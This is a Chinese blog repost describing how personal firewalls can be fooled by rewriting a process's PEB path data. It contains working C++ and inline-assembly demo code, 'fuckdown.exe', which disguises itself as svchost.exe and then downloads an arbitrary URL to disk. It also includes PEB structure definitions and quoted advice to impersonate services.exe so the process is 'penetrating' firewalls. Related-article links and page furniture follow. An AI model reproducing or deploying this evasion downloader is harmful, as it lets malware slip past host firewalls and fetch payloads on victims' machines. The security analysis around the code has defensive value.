防火墙普遍存在的设计缺陷--关于进程路径的获取

开源反控极域工具技术解析:进程终结、网络干扰与权限恢复 在Windows系统管理与软件安全领域,进程控制、网络通信和API钩子是核心基础概念。进程管理涉及通过系统调用如TerminateProcess结束目标程序;网络通信控制则可通过防火墙规则或协议分析实现干扰;API钩子技术允许程序拦截系统调用,常用于功能限制。这些技术的工程价值在于实现精细化的系统行为管控与安全防护。在教育机房管理等场景中,课堂管理软件常综合运用这些技术实现屏幕广播、程序限制等功能。针对此类控制,技术社区出现了相应的对抗工具,其典型实现路径包括强制结束管理软件进程、干扰其网络通信端口或协议、 阅读详情

 防火墙普遍存在的设计缺陷--关于进程路径的获取 收藏

作者:RonCha 当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。 问 题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信 息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。 DEMO代码如下,如需更完整的信息请与我联系:
// fuckdown.cpp : Defines the entry point for the console application.

//

//  [9/19/2006 RonCha]

#include "stdafx.h"

#include <urlmon.h>

#pragma comment(lib,"urlmon.lib")



char szpath[MAX_PATH]=...{0};

OLECHAR path[MAX_PATH]=...{0};





void ChangPath();



int main(int argc, char* argv[])

...{



    //修改路径

    ChangPath();

    if (argc==3)

    ...{

         if (argv[1]!="" && argv[2]!="")

         ...{

            HRESULT hRet=URLDownloadToFileA(NULL,argv[1],argv[2],NULL,NULL);

            if(hRet==S_OK)

                printf(" Down Success! ");

            else

                printf(" Can't down the file! ");

            return 1;

         }

    }

    printf("Author:RonCha ");

    printf("Web:http://blog.youkuaiyun.com/RonCha ");

    printf("Usage:fuckdown.exe downurl savepath ");

    return 0;

}



void ChangPath()

...{

    //将该进程伪装为svchost.exe

    int slen;

    slen=GetSystemDirectory(szpath,MAX_PATH);

    slen=GetSystemDirectory(szpath,slen);

    lstrcat(szpath,"/svchost.exe");

    //转化为Unicode字符

    MultiByteToWideChar(CP_ACP,NULL,szpath,-1,path,MAX_PATH);

    __asm

    ...{            

            MOV EAX, fs:[30h]            //get the PEB address

            MOV EAX, [EAX+0xC]             //_PEB_LDR_DATA

            MOV EAX, [EAX+0xC]             //InLoadOrderModuleList

            lea ebx,path

            mov WORD ptr[EAX+0x24],0x60  //FullDllName->Length

            mov [EAX+0x28],ebx             //FullDllName->Buffer

            MOV EAX, fs:[30h]

            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 

            lea EAX,[EAX+0x3c]             //_RTL_USER_PROCESS_PARAMETERS ->ImagePathName->Buffer

            lea ebx,path

            mov [eax],ebx                 //ImagePathName->Buffer

            mov WORD ptr[eax-4],0x60     //ImagePathName->Length

            MOV EAX, fs:[30h]

            mov EAX,[EAX+0x10]           //peb->_RTL_USER_PROCESS_PARAMETERS 

            lea eax,[EAX+0x44]             //_RTL_USER_PROCESS_PARAMETERS -> CommandLine->Buffer

            lea ebx,path

            mov [eax],ebx                //CommandLine-->Buffer

            mov WORD ptr[eax-4],0x60    //CommandLine-->Length

    }

}

 另从邪恶八进制获得:
PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win 2000 下,进程环境块的地址对于每个进程来说是固定的,在 0x7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直接访问。还可以通过 TEB 结构的偏移 30H 处获得 PEB 的位置,代码如下:
mov eax,fs:[18]

mov eax,[eax+30]

PEB 及其相关结构如下:

typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);



typedef struct _UNICODE_STRING {

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;


typedef struct _RTL_DRIVE_LETTER_CURDIR {

USHORT Flags;

USHORT Length;

ULONG TimeStamp;

UNICODE_STRING DosPath;

} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;



typedef struct _PEB_LDR_DATA {

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;



typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

PVOID BaseAddress;

PVOID EntryPoint;

ULONG SizeOfImage;

UNICODE_STRING FullDllName;

UNICODE_STRING BaseDllName;

ULONG Flags;

SHORT LoadCount;

SHORT TlsIndex;

LIST_ENTRY HashTableEntry;

ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;



typedef struct _RTL_USER_PROCESS_PARAMETERS {

ULONG MaximumLength;

ULONG Length;

ULONG Flags;

ULONG DebugFlags;

PVOID ConsoleHandle;

ULONG ConsoleFlags;

HANDLE StdInputHandle;

HANDLE StdOutputHandle;

HANDLE StdErrorHandle;

UNICODE_STRING CurrentDirectoryPath;

HANDLE CurrentDirectoryHandle;

UNICODE_STRING DllPath;

UNICODE_STRING ImagePathName;

UNICODE_STRING CommandLine;

PVOID Environment;

ULONG StartingPositionLeft;

ULONG StartingPositionTop;

ULONG Width;

ULONG Height;

ULONG CharWidth;

ULONG CharHeight;

ULONG ConsoleTextAttributes;

ULONG WindowFlags;

ULONG ShowWindowFlags;

UNICODE_STRING WindowTitle;

UNICODE_STRING DesktopName;

UNICODE_STRING ShellInfo;

UNICODE_STRING RuntimeData;

RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];

} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;



typedef struct _PEB_FREE_BLOCK {

struct _PEB_FREE_BLOCK *Next;

ULONG Size;

} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;



typedef struct _PEB {

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

PPEB_LDR_DATA LoaderData;

PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID SubSystemData;

PVOID ProcessHeap;

PVOID FastPebLock;

PPEBLOCKROUTINE FastPebLockRoutine;

PPEBLOCKROUTINE FastPebUnlockRoutine;

ULONG EnvironmentUpdateCount;

PVOID *KernelCallbackTable;

PVOID EventLogSection;

PVOID EventLog;

PPEB_FREE_BLOCK FreeList;

ULONG TlsExpansionCounter;

PVOID TlsBitmap;

ULONG TlsBitmapBits[0x2];

PVOID ReadOnlySharedMemoryBase;

PVOID ReadOnlySharedMemoryHeap;

PVOID *ReadOnlyStaticServerData;

PVOID AnsiCodePageData;

PVOID OemCodePageData;

PVOID UnicodeCaseTableData;

ULONG NumberOfProcessors;

ULONG NtGlobalFlag;

BYTE Spare2[0x4];

LARGE_INTEGER CriticalSectionTimeout;

ULONG HeapSegmentReserve;

ULONG HeapSegmentCommit;

ULONG HeapDeCommitTotalFreeThreshold;

ULONG HeapDeCommitFreeBlockThreshold;

ULONG NumberOfHeaps;

ULONG MaximumNumberOfHeaps;

PVOID **ProcessHeaps;

PVOID GdiSharedHandleTable;

PVOID ProcessStarterHelper;

PVOID GdiDCAttributeList;

PVOID LoaderLock;

ULONG OSMajorVersion;

ULONG OSMinorVersion;

ULONG OSBuildNumber;

ULONG OSPlatformId;

ULONG ImageSubSystem;

ULONG ImageSubSystemMajorVersion;

ULONG ImageSubSystemMinorVersion;

ULONG GdiHandleBuffer[0x22];

ULONG PostProcessInitRoutine;

ULONG TlsExpansionBitmap;

BYTE TlsExpansionBitmapBits[0x80];

ULONG SessionId;

} PEB, *PPEB;

PEB 结构中的 PPEB_LDR_DATA 是一个指向 PEB_LDR_DATA 的指针,PEB_LDR_DATA 结构中有 3 个 LIST_ENTRY 的指针,分别是 InLoadOrderModuleList; InMemoryOrderModuleList; InInitializationOrderModuleList,如此循环。可以通过这三个 LIST_ENTRY 结构来遍历进程加载的模块。LDR_MODULE 结构中的 FullDllName 成员便是一个包含模块名信息的 UNICODE_STRIN 结构,它的成员 Buffer 即是指向存放模块名的 UNICODE 字符串指针。还有要注意的是,RTL_USER_PROCESS_PARAMETERS 结构中的 ImagePathName.Buffer 和 LoaderData->InLoadOrderModuleList.Flink->FullDllName.Buffer 指向的其实是同一内存。

 

在 Windows 2000 下,枚举系统进程的方法无外乎通过 Tool Help 函数,或是 PSAPI 函数。这两类函数虽然接口不同,但最后还是通过调用 NTDLL.DLL 中导出的 NtQuerySystemInformation 函数来实现的。这些函数最终是通过 LDR_MODULE 中指向的那些模块信息来实现进程和模块名字查询的。所以,只要修改 LDR_MODULE 指向的那些信息就能实现改变进程名或模块名。注意那些字符串都是 unicode 形式的,改的时候别忘了。

 

这样改过之后虽然能够骗过 EnumProcessModules 和 Module32First、Module32Next 函数,但若使用 Process32Next、Process32First 函数,PROCESSENTRY32 结构中的 szExeFile 还是会如实的返回 EXE 文件名,如此一来,在“windows 任务管理器”里就穿邦了,即便你改了 BaseDllName 也没用。别急,当然还是有办法改的。不知诸位有没有注意到,用 Delphi 编译出来的可执行文件,如果你没改工程名的话,无论你怎么改可执行文件的文件名,在“windows 任务管理器”中总是显示“project1.exe”,具体什么原理我也不清楚。哪位有兴趣可以反汇编一下,看看具体是如何实现的,我的汇编功底太差了。 不过这样就够了,你可以做个试验,用以上方法改变一个有上网请求的进程的 ImagePathName,然后看看防火墙有什么反映。果然,被骗过去了。用这个方法就可以“穿透”防火墙了。 那具体应该改为哪个程序名呢?在 windows 2000 下,C:/WINNT/system32/services.exe 负责DNS解析等任务,总是被允许上网的,所以改成“C:/WINNT/system32/services.exe”就可以了。

路径遍历漏洞深度解析:从原理到实战的任意文件读取攻防 路径遍历(Path Traversal)是一种常见的Web安全漏洞,其核心原理在于应用程序未对用户输入的文件路径参数进行充分校验和过滤,导致攻击者能够通过构造包含目录跳转序列(如../)的恶意输入,访问并读取服务器文件系统上的任意文件。该漏洞的技术价值在于其作为信息收集的关键入口,常能获取配置文件、日志等敏感数据,为后续渗透测试奠定基础。在应用场景上,它广泛存在于各类文件下载、读取或包含功能的接口中,尤其在企业级Web应用中危害显著。本文以CNVD-2021-34455漏洞为例,深入剖析了其利用方式与修复方 阅读详情

相关推荐

Linux权限维持与隐藏技术:从文件进程到Rootkit的攻防实战

在Linux系统安全领域,权限维持与隐藏技术是攻防对抗的核心议题。其基本原理在于利用操作系统自身的机制和特性,通过修改文件属性、进程信息、网络连接状态以及系统启动项,实现后门程序的持久化驻留与隐蔽运行。从技术价值看,深入理解这些手法不仅有助于攻击方构建稳固的访问通道,更是防御方进行威胁狩猎、入侵检测和应急响应的必备知识。在实际应用场景中,无论是红队评估、渗透测试还是系统安全加固,掌握文件隐藏(如利用chattr属性、mount绑定)、进程伪装、自启动项劫持(如systemd服务、cron计划任务)以及Roo

cuyi7076的博客 758

通过 PEB 改变进程名,实现“穿透”防火墙

PEB(Process Environment Block)——进程环境块,存放进程信息,每个进程都有自己的 PEB 信息。在 Win 2000 下,进程环境块的地址对于每个进程来说是固定的,在 0x7FFDF000 处,这是用户区内存,所以程序能够直接访问。准确的 PEB 地址应从系统的 EPROCESS 结构的 1b0H 偏移处获得,但由于 EPROCESS 在进程的核心内存区,所以程序不能直

2205

API安全漏洞挖掘实战:从接口审计到CNVD证书获取指南

API(应用程序编程接口)作为现代软件架构中数据交互的核心通道,其安全性直接关系到整个系统的防护水平。由于API遵循标准化设计模式,攻击者可以高效地进行自动化测试,而传统防护手段往往难以覆盖其特有的攻击面,如未授权访问、越权操作和业务逻辑缺陷。这些漏洞不仅可能导致敏感数据泄露和系统被控,更可能满足国家信息安全漏洞共享平台(CNVD)对中高危原创漏洞的收录标准,成为安全研究人员能力证明的“硬通货”。本文聚焦于通过系统化的信息收集、深度接口测试与严谨的漏洞验证流程,将看似普通的API接口转化为符合CNVD提交要

weixin_28716443的博客 333

枚举windows进程模块的几种方法—PEB内核结构详解

1. 引言 在诸多的场景中(例如软件测试,软件安全研究等领域)经常需要分析在目标进程中具体加载了哪些模块(DLL),以及所加载的模块的信息(如模块基地址,映射文件大小等)。获取这windows进程加载的模块信息,曾经有一个行之有效又很便捷的方法,使用windows提供PSAPI(psapi.dll,windows进程状态信息接口)提供的相关的接口就可以快捷的获取进程及进程加载的模块信息。有关PSAPI接口可以参考psapi.h或者微软的官方文档Psapi.h heade...

阔野的专栏 5738

PEBFake:PEBFake(修改PEB 伪装当前进程路径、参数等)

Fake process imagepath and name BTW 当然你可以去修改其他进程的PEB信息,参考: 测试效果

pb实现进程管理-实现进程列表并可指定Kill进程

PB9实现进管理-进程列表、结束进程,可查看所选进程包含的线程和模块

进程结构体和线程结构体

首先说明这分析的是XP系统,WIN7每个单元偏移略有差距 进程结构体EPROCESS 每个windows进程在0环都有一个对应的结构体:EPROCESS 这个结构体包含了进程所有重要的信息。 PEB在3环,EPROCESS在0环。 KPROCESS主要成员介绍 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23...

kernweak的博客 1397

GD32F103RCT6/GD32F303RCT6(6.2)USART串口实战:从寄存器配置到DMA高效传输

本文详细介绍了GD32F103RCT6和GD32F303RCT6的USART串口通信实战,从寄存器配置到DMA高效传输的全过程。通过具体的代码示例和优化建议,帮助开发者快速掌握串口通信的关键技术,提升嵌入式开发效率。特别强调了DMA在高速数据传输中的优势和应用技巧。

weixin_33725239的博客 308

驱动开发:内核遍历进程VAD结构体

树的每一个节点代表一段虚拟地址空间。程序中的代码段,数据段,堆段都会各种占用一个或多个。结构体,需要说明的是栈并不受VAD的管理。同样这是微软定义,如果想要的到最新的,自己下载WinDBG调试内核输入命令。内存块的属性,这个内存结构定义在WinDBG中可看到。结构的偏移值,每个系统都不一样,版本不同偏移值会不同。当需要得到该进程的VAD结构时,只需要使用。结构中可以找到VAD结构的相对偏移。可以看到在本系统中VAD的偏移是。头文件,并写入如下代码,此处的。来显示该进程的VAD树。结构树,这个结构通常在。

微软技术分享 2万+

Python海康相机api---超简单入坑学习必看

海康官网下载相机驱动​安装好以后找到Python的开发文件目录参考:D:\MVS\MVS\Development\Samples\Python\MvImport这几个文件很重要,想调用海康相机取图会用到.​为了写代码方便可以把这几个文件拷贝一下,跟你的api主文件放在同一个文件夹下可以减少80%的烦恼.​。

weixin_59360687的博客 3478

Python3.8下MvCameraControl.dll加载失败?3种方法彻底解决FileNotFoundError

本文针对Python3.8及以上版本在Windows平台调用MvCameraControl.dll时出现的FileNotFoundError问题,深入剖析了其根源在于Python 3.8引入的DLL加载安全机制变更。文章提供了三种核心解决方案:显式指定DLL完整路径、使用os.add_dll_directory()添加可信目录,以及利用ctypes的winmode参数进行精细控制,并给出了工程化封装建议,帮助开发者彻底解决此兼容性问题。

weixin_29093017的博客 191

进程路径

转:https://www.pediy.com/kssd/pediy12/129136.html 有问题找看雪 进程完整路径获取方式详解 标 题:进程完整路径获取方式详解 作 者:zyhfut 时 间:2011-02-10 20:23:50  链 接:http://bbs.pediy.com/showthread.php?t=129136 标 题: 【原创】进程完整路径获取方式详解 作 者...

huanongying131的博客 1008

【AWS】创建aws云服务器EC2实例

本文介绍了如何创建aws的EC2云服务器,并介绍了如何使用Xshell远程连接上云服务器

Marcos921的博客 2501

关于进程路径的获取---防火墙普遍存在的设计缺陷

防火墙普遍存在的设计缺陷--关于进程路径的获取     当程序访问网络时,一般情况下防火墙都会获取到程序的路径,并提示用户。问题就出在获取程序路径的方法,一般的防火墙程序都是直接在ring3下获取这些信息,也就是说防火墙程序获取的这些信息,基本上是程序的PEB中存放的信息。如果我们修改了程序的PEB中相关的路径的信息的话,把程序修改伪装为系统进程的路径的话,防火墙就无法正确识别了。DEMO

653

电池管理系统(BMS)软件:CATL BMS二次开发_(1).CATL BMS软件概述

CATL BMS软件的保护机制是确保电池组安全和可靠运行的关键部分。通过高精度的传感器和智能算法,BMS可以实时监测电池组的状态,及时采取保护措施。二次开发中,可以根据特定的应用需求,增加新的传感器、优化算法、扩展通信接口等,进一步提高系统的性能和可靠性。维护和扩展则是确保系统长期稳定运行的重要手段。希望以上内容对您理解CATL BMS软件的保护机制有所帮助。如果您有任何进一步的问题或需要更详细的解释,欢迎随时提问。

zhubeibei168的博客 1458

Python爬虫实战:基于最新技术栈的晋江文学城小说爬取

本文将详细介绍如何使用Python最新技术栈构建一个高效的晋江文学城小说爬虫。我们将从爬虫基础知识讲起,逐步深入到反爬机制应对、分布式爬虫设计以及数据存储优化等高级话题。文章包含完整的代码实现,使用aiohttp+asyncio实现异步爬取,Playwright处理动态渲染,并结合Redis实现分布式任务队列。本文旨在为读者提供一个全面的现代Python爬虫开发指南。网络爬虫(Web Crawler)是一种自动抓取互联网信息的程序,广泛应用于搜索引擎、数据分析和内容聚合等领域。

2201_76125261的博客 870

从JiraWhitelist逻辑缺陷看企业内网安全:CVE-2019-8451 SSRF漏洞的深度防御思考

本文深入分析了CVE-2019-8451 SSRF漏洞在企业内网安全中的严重威胁,揭示了JiraWhitelist逻辑缺陷如何被利用绕过安全防护。通过剖析漏洞原理、常见防护误区及纵深防御策略,为企业提供了从应用层加固到架构安全的全面解决方案,强调将SSRF检测融入DevSecOps流程的重要性。

weixin_30555515的博客 384

OpenClaw 报错 TypeError: Cannot read properties of undefined (reading ‘prototype‘):Node.js 版本不兼容

国产化环境中部署OpenClaw云边协同平台时,出现"TypeError: Cannot read properties of undefined (reading 'prototype')"报错。经分析发现根本原因是Node.js版本与依赖生态不兼容,新版本Node(如v21)移除了旧依赖使用的内部API。解决方案包括:1)使用nvm切换至兼容的Node 16/18 LTS版本;2)容器化部署固定Node版本;3)遵循官方推荐的引擎版本范围。该问题揭示现代工程中版本管理的重要性,

博客 2313

企业级防火墙安全配置避坑:从启明星辰天清汉马USG漏洞看权限管理

本文以启明星辰天清汉马USG防火墙的逻辑漏洞为例,深入剖析企业级防火墙权限管理的常见陷阱。该漏洞暴露了权限分离机制失效的风险,允许低权限用户越权提升至管理员。文章重点探讨了权限配置误区,并提供了构建严格角色分离模型、强化认证与持续审计等最佳实践,旨在帮助企业筑牢防火墙管理面的安全防线。

plum99的博客 592

【C语言学习疑难杂症】第20期:0x00007FF7F2821964处引发的异常0xC0000005写入位置 0x0000000000000

检查代码中是否存在野指针访问的情况,确保在进行写入操作之前,内存已经被正确分配或初始化,并且在使用完毕后进行了正确的释放。空指针访问:代码尝试在空指针地址(0x0000000000000000)处进行写入操作,导致访问冲突。检查代码中是否存在数组越界的情况,确保在进行写入操作之前,数组的索引值在合法范围内。检查代码中是否存在空指针访问的情况,确保在进行写入操作之前,指针已经被正确初始化。野指针访问:代码尝试在已释放或未初始化的内存地址进行写入操作,导致访问冲突。

学无止境 828

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

从‘lc‘键漏洞看AI框架的信任边界设计:LangChain安全事件启示录

本文深入分析了LangChain框架的CVE-2025-68664安全漏洞,揭示了AI框架在信任边界设计上的缺陷。通过技术解构和与传统漏洞的对比,提出了动态信任评估模型和安全编码规范,为企业提供了从紧急处置到长期治理的全方位防护方案。文章强调将安全作为AI框架设计的核心约束,以避免类似'lc'键漏洞事件的重演。

desk3的博客 707

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

AI落地失败的四大错配与七道防火墙

人工智能在企业落地并非单纯的技术部署问题,而是涉及目标设定、数据质量、业务流程与组织能力的系统性工程。当AI模型能力与真实业务语义边界脱节、当训练数据无法反映实际场景、当自动化工具强行嵌入未重构的旧流程,就极易引发‘AI幻觉落地综合征’——表面跑通,实则失效。尤其在早期采用阶段,盲目追求MVP或高参数模型,却忽视人机协同设计、数据血缘验证与可解释性约束,将显著抬高项目失败风险。本文聚焦AI规模化应用前的关键避坑逻辑,结合目标错配、数据错配、流程错配、能力错配四大结构性陷阱,提出覆盖立项、数据、模型、协同、测

weixin_30325971的博客 381

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

上一篇: 蠕虫病毒编写技术
下一篇: 判断程序是否运行在虚拟机里 收藏
大浪淘沙1
博客等级 码龄19年 42粉丝 38原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值